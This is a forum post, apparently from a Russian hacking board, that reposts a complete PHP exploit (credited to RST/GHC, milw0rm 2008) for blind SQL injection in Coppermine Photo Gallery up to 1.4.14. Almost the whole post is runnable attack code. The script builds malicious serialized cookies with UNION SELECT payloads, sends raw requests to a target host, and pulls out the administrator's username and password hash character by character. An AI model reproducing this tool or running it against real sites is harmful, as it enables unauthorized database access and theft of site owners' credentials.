|
Banned
Регистрация: 19.12.2007
Сообщений: 924
Провел на форуме:
4192567
Репутация:
2145
|
|
Remote SQL Injection
Vulnerable: Coppermine Photo Gallery <=1.4.14
Exploit:
PHP код:
<?php
#############################################
# RST/GHC PRIVATE
# CPG 1.4.10 sql injection exploit
# Date: 17.05.07
# bug: SQL injection in private album
# function through array indexes with COOKIE
#############################################
error_reporting (E_ERROR);
ini_set("max_execution_time",0);
intro();
if ($argc < 4 ){
print " Usage: " . $argv[0] . " <host> <dir> <force> [table prefix]\n";
print " <host> - hostname\n";
print " <dir> - web dirname \n";
print " <force> - force mode - '0' - for Off or \"album number\" for force mode On \n";
print " [table prefix] - prefix of sql tables\n";
print " example: " . $argv[0] . " coppermine.site photo/ 1 cpg1410\n";
credits();
}
###############################################
/* FUNCTIONS */
##############################################
if (!function_exists(str_split)){ ### for PHP4 << FIX
function str_split($str)
{
$str_array=array();
$len=strlen($str);
for($i=0;$i<$len;$i++) $str_array[]=$str{$i};
return $str_array;
}
}
function toSql($str){
$a_str = str_split ($str);
$s_str = '0x';
foreach ($a_str as $val){
$s_str .= sprintf("%X",ord($val));
}
return $s_str;
}
function toCookie ($str){
$str = "-1) UNION SELECT " .toSql ($str). ",1 as md5_password/*";
$c_str=array(0=>"8", $str=>"1");
$c_str = $GLOBALS['prefix'].'_albpw='.urlencode(serialize($c_str)).';'.$GLOBALS['cookies'];
return $c_str;
}
function getAlbum($text){
if (preg_match("/(?<=album=)[1-9]{1}(?=\">)/", $text, $match)) {
return intval($match[0]);
}
else return 0;
}
function getCookie($text){
if (preg_match_all("/(?<=Set-Cookie:)(.*)(?=expires)/", $text, $match)) {$cookie = $match[0][0].$match[0][1];}
else {$cookie = '';}
return $cookie;
}
function getPrefix($text){
if (preg_match("/(?<=\s)[a-z0-9_]*(?=_data)/", $text, $match)) return trim($match[0]);
else return false;
}
function toPage($page){
$pattern = "/(?<=HTTP).*(?=<html)/s";
$replacement = '';
$page = preg_replace($pattern,$replacement,$page);
/* Let's count images on the page */
if (preg_match_all("/<img/", $page, $match)) return count($match[0]);
else return 0;
}
function sendit($page, $method, $cookie=''){
global $argv;
$data ='';
$host = $argv[1];
$page = $argv[2] . $page;
$referer = 'http://'.$host;
$user_agent = 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)';
$result = '';
$sock = fsockopen($host, 80, $errno, $errstr, 50);
if (!$sock) die("$errstr ($errno)\n");
fputs($sock, "$method /$page HTTP/1.0\r\n");
fputs($sock, "Host: $host" . "\r\n");
fputs($sock, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($sock, "Content-length: " . strlen($data) . "\r\n");
fputs($sock, "Referer: $referer". "\r\n");
fputs($sock, "User-Agent: $user_agent" . "\r\n");
fputs($sock, "Accept: */*\r\n");
if ($cookie !=='') {fputs($sock, "Cookie: $cookie\r\n");}
fputs($sock, "\r\n");
fputs($sock, "$data\r\n");
fputs($sock, "\r\n");
while (!feof($sock)) {
$result .= fgets ($sock,8192);
}
fclose($sock);
//print $result; ### DEBUGER
return $result;
}
function credits(){
echo '
+==========================================+
+ Coded: 17.05.07 * Bug found in Feb.2007 +
+==========================================+
';
exit;
}
function intro(){
echo '
* P R I V A T E *
+==========================================+
| RST/GHC Coppermine SQL injection exploit |
+==========================================+
| >>> vulnerable: CPG 1.4.10 stable <<< |
+------------------------------------------+
';
}
#####################################################################
### HACK FUNCTIONS
#####
####
### what to find:
## user_name user_password FROM cpg1410_users WHERE user_id=1
####################################################################
function makeExpl($param, $cond, $sn) ### $param - name || password; $cond - condition (e.g. =97) ; $sn - position
{
global $argv;
$tprefix = (isset($argv[4])) ? $argv[4] : 'cpg1410';
$query = 'ASCII(substr((SELECT user_'.$param.' FROM '.$tprefix.'_users WHERE user_id=1),'.$sn.',1))' . $cond;
$sql = '0) UNION SELECT '.$GLOBALS['album'].' AND ' .$query. '/*';
//echo $sql; ###DEBUG
return toCookie($sql);
}
//////////////
function blind($param, $sn, $fmin, $fmax)
{
if (($fmax-$fmin)<5) { return crack($param, $fmin, $fmax, $sn) ;}
$compare = intval($fmin + ($fmax-$fmin)/2);
$crcheck = ">". $compare;
if ( check(makeExpl($param, $crcheck, $sn)) == 1 ) {
return blind($param, $sn, $compare, $fmax);
}
else {
return blind($param, $sn, $fmin, $compare+1);
}
}
function crack($param, $cmin, $cmax, $sn)
{
for ($i=$cmin; $i <=$cmax; $i++){
$crcheck = '='.$i;
$sqlCookie = makeExpl($param, $crcheck ,$sn);
if (check($sqlCookie) == 1){print chr($i); return 1;}
}
return 0;
}
function check($sqlCookie){
global $page, $etalon;
$testPage = toPage(sendit ($page, 'GET', $sqlCookie));
if ($testPage < $etalon) return 1;
else return 0;
}
function exploit($param){
echo "\nLet's define admin's ". $param . "\n";
$min = 48; # 0
$max = 122; # z
$sql_cookies = makeExpl($param,'BETWEEN '.$min . ' AND '.$max,1);
if (check($sql_cookies) == 0) {echo 'failed...'; return;}
$sn=1;
while(blind($param,$sn, $min, $max) !== 0) {
$sn++; if ($sn > 32) return;
}
}
###############################################################
## START E X P L O I T C O D E
#############################################################
echo '
Exploiting:
[+] target: '. $argv[1].'/'.$argv[2].'
';
$page = '';
$firstReply = sendit($page, 'GET');
$album = getAlbum($firstReply); ### get valid album number
if ($album == 0) {
echo "[-] No valid album found...\n";
if ($argv[3] != 0) {echo "... Forcing\n"; $album = $argv[3];} ### FOR FORCE MODE!!!! If you know exactly album number - put it here
else {credits();}
}
$page = 'thumbnails.php?album='.$album;
$GLOBALS['album'] = $album;
echo "[+] Valid album number: ".$album . "\n";
$GLOBALS['cookies'] = getCookie($firstReply); ### get cookie from host
$prefix = getPrefix($GLOBALS['cookies']); ### get cookie prefix
echo "[+] Cookie prefix: " . $prefix . "\n";
$GLOBALS['prefix']=$prefix;
$etalon = toPage(sendit ($page, 'GET', $c_cookies)); ### number of images at etalon page
$first_sql = '0) UNION SELECT '.$album.' AND 1=1/*'; ### FIRST sql query - let's make valid album to be invisible
$first_cookie = toCookie($first_sql);
if (check($first_cookie) == 0) {echo "exploit failed..."; credits();} ### if album is still visible - site is unvulnerable
exploit('name');
exploit('password');
credits();
?>
# milw0rm.com [2008-01-22]
|